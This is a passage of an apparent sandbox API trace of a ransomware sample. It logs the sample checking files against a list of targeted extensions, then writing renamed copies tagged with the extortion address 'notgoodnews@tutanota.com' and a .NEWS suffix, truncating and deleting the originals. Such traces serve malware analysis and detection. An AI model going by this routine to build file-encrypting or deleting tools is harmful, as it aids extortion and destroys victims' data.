lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.177] SetEndOfFile (hFile=0x454) returned 1 [0168.179] CloseHandle (hObject=0x454) returned 1 [0168.179] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.179] SetEndOfFile (hFile=0x514) returned 1 [0168.183] CloseHandle (hObject=0x514) returned 1 [0168.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0168.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.185] lstrlenW (lpString=".doc") returned 4 [0168.185] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.185] lstrlenW (lpString=".docx") returned 5 [0168.185] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.185] lstrlenW (lpString=".pdf") returned 4 [0168.185] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.185] lstrlenW (lpString=".xls") returned 4 [0168.185] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.185] lstrlenW (lpString=".xlsx") returned 5 [0168.185] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.185] lstrlenW (lpString=".ppt") returned 4 [0168.185] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.185] lstrlenW (lpString=".zip") returned 4 [0168.185] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.185] lstrlenW (lpString=".rar") returned 4 [0168.185] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.185] lstrlenW (lpString=".bz2") returned 4 [0168.185] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.185] lstrlenW (lpString=".7z") returned 3 [0168.185] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.185] lstrlenW (lpString=".dbf") returned 4 [0168.185] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.185] lstrlenW (lpString=".1cd") returned 4 [0168.185] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.186] lstrlenW (lpString=".jpg") returned 4 [0168.186] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.186] lstrlenW (lpString=".doc") returned 4 [0168.186] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.186] lstrlenW (lpString=".docx") returned 5 [0168.186] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.186] lstrlenW (lpString=".pdf") returned 4 [0168.186] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.186] lstrlenW (lpString=".xls") returned 4 [0168.186] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.186] lstrlenW (lpString=".xlsx") returned 5 [0168.186] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.186] lstrlenW (lpString=".ppt") returned 4 [0168.186] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.186] lstrlenW (lpString=".zip") returned 4 [0168.186] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.186] lstrlenW (lpString=".rar") returned 4 [0168.186] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.186] lstrlenW (lpString=".bz2") returned 4 [0168.186] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.186] lstrlenW (lpString=".7z") returned 3 [0168.186] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.186] lstrlenW (lpString=".dbf") returned 4 [0168.187] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.187] lstrlenW (lpString=".1cd") returned 4 [0168.187] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0168.187] lstrlenW (lpString=".jpg") returned 4 [0168.187] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.187] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.187] lstrlenW (lpString="J0099188.JPG") returned 12 [0168.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.188] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9080) returned 1 [0168.188] CloseHandle (hObject=0x514) returned 1 [0168.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0168.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.189] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.189] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0168.190] GetLastError () returned 0x0 [0168.190] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2378, lpOverlapped=0x0) returned 1 [0168.213] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2380, lpOverlapped=0x0) returned 1 [0168.215] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.215] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.216] SetEndOfFile (hFile=0x454) returned 1 [0168.216] CloseHandle (hObject=0x454) returned 1 [0168.216] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.216] SetEndOfFile (hFile=0x514) returned 1 [0168.219] CloseHandle (hObject=0x514) returned 1 [0168.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.221] lstrlenW (lpString=".doc") returned 4 [0168.221] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.221] lstrlenW (lpString=".docx") returned 5 [0168.221] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.221] lstrlenW (lpString=".pdf") returned 4 [0168.221] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.221] lstrlenW (lpString=".xls") returned 4 [0168.221] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.221] lstrlenW (lpString=".xlsx") returned 5 [0168.221] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.221] lstrlenW (lpString=".ppt") returned 4 [0168.221] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.221] lstrlenW (lpString=".zip") returned 4 [0168.221] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.221] lstrlenW (lpString=".rar") returned 4 [0168.222] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.222] lstrlenW (lpString=".bz2") returned 4 [0168.222] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.222] lstrlenW (lpString=".7z") returned 3 [0168.222] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.222] lstrlenW (lpString=".dbf") returned 4 [0168.222] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.222] lstrlenW (lpString=".1cd") returned 4 [0168.222] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.222] lstrlenW (lpString=".jpg") returned 4 [0168.222] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.222] lstrlenW (lpString=".doc") returned 4 [0168.222] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.222] lstrlenW (lpString=".docx") returned 5 [0168.222] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.222] lstrlenW (lpString=".pdf") returned 4 [0168.222] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.222] lstrlenW (lpString=".xls") returned 4 [0168.222] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.222] lstrlenW (lpString=".xlsx") returned 5 [0168.222] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.222] lstrlenW (lpString=".ppt") returned 4 [0168.222] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.223] lstrlenW (lpString=".zip") returned 4 [0168.223] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.223] lstrlenW (lpString=".rar") returned 4 [0168.223] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.223] lstrlenW (lpString=".bz2") returned 4 [0168.223] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.223] lstrlenW (lpString=".7z") returned 3 [0168.223] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.223] lstrlenW (lpString=".dbf") returned 4 [0168.223] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.223] lstrlenW (lpString=".1cd") returned 4 [0168.223] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0168.223] lstrlenW (lpString=".jpg") returned 4 [0168.223] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.223] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.223] lstrlenW (lpString="J0099190.JPG") returned 12 [0168.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.225] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=43892) returned 1 [0168.225] CloseHandle (hObject=0x514) returned 1 [0168.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0168.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.226] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.226] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0168.227] GetLastError () returned 0x0 [0168.227] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xab74, lpOverlapped=0x0) returned 1 [0168.312] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xab80, lpOverlapped=0x0) returned 1 [0168.314] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.314] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.314] SetEndOfFile (hFile=0x454) returned 1 [0168.314] CloseHandle (hObject=0x454) returned 1 [0168.314] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.314] SetEndOfFile (hFile=0x514) returned 1 [0168.319] CloseHandle (hObject=0x514) returned 1 [0168.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0168.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.322] lstrlenW (lpString=".doc") returned 4 [0168.322] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.322] lstrlenW (lpString=".docx") returned 5 [0168.322] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0168.322] lstrlenW (lpString=".pdf") returned 4 [0168.322] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.322] lstrlenW (lpString=".xls") returned 4 [0168.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.322] lstrlenW (lpString=".xlsx") returned 5 [0168.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0168.322] lstrlenW (lpString=".ppt") returned 4 [0168.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.322] lstrlenW (lpString=".zip") returned 4 [0168.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.322] lstrlenW (lpString=".rar") returned 4 [0168.323] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.323] lstrlenW (lpString=".bz2") returned 4 [0168.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.323] lstrlenW (lpString=".7z") returned 3 [0168.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.323] lstrlenW (lpString=".dbf") returned 4 [0168.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.323] lstrlenW (lpString=".1cd") returned 4 [0168.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.323] lstrlenW (lpString=".jpg") returned 4 [0168.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.323] lstrlenW (lpString=".doc") returned 4 [0168.323] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.323] lstrlenW (lpString=".docx") returned 5 [0168.323] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0168.323] lstrlenW (lpString=".pdf") returned 4 [0168.323] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.323] lstrlenW (lpString=".xls") returned 4 [0168.323] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.323] lstrlenW (lpString=".xlsx") returned 5 [0168.323] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0168.323] lstrlenW (lpString=".ppt") returned 4 [0168.323] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.324] lstrlenW (lpString=".zip") returned 4 [0168.324] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.324] lstrlenW (lpString=".rar") returned 4 [0168.324] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.324] lstrlenW (lpString=".bz2") returned 4 [0168.324] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.324] lstrlenW (lpString=".7z") returned 3 [0168.324] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.324] lstrlenW (lpString=".dbf") returned 4 [0168.324] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.324] lstrlenW (lpString=".1cd") returned 4 [0168.324] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0168.324] lstrlenW (lpString=".jpg") returned 4 [0168.324] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.324] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.324] lstrlenW (lpString="J0099191.JPG") returned 12 [0168.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.325] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=62367) returned 1 [0168.325] CloseHandle (hObject=0x514) returned 1 [0168.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0168.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.326] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.326] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0168.327] GetLastError () returned 0x0 [0168.327] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xf39f, lpOverlapped=0x0) returned 1 [0168.368] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0168.370] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.370] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.370] SetEndOfFile (hFile=0x454) returned 1 [0168.371] CloseHandle (hObject=0x454) returned 1 [0168.371] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.371] SetEndOfFile (hFile=0x514) returned 1 [0168.376] CloseHandle 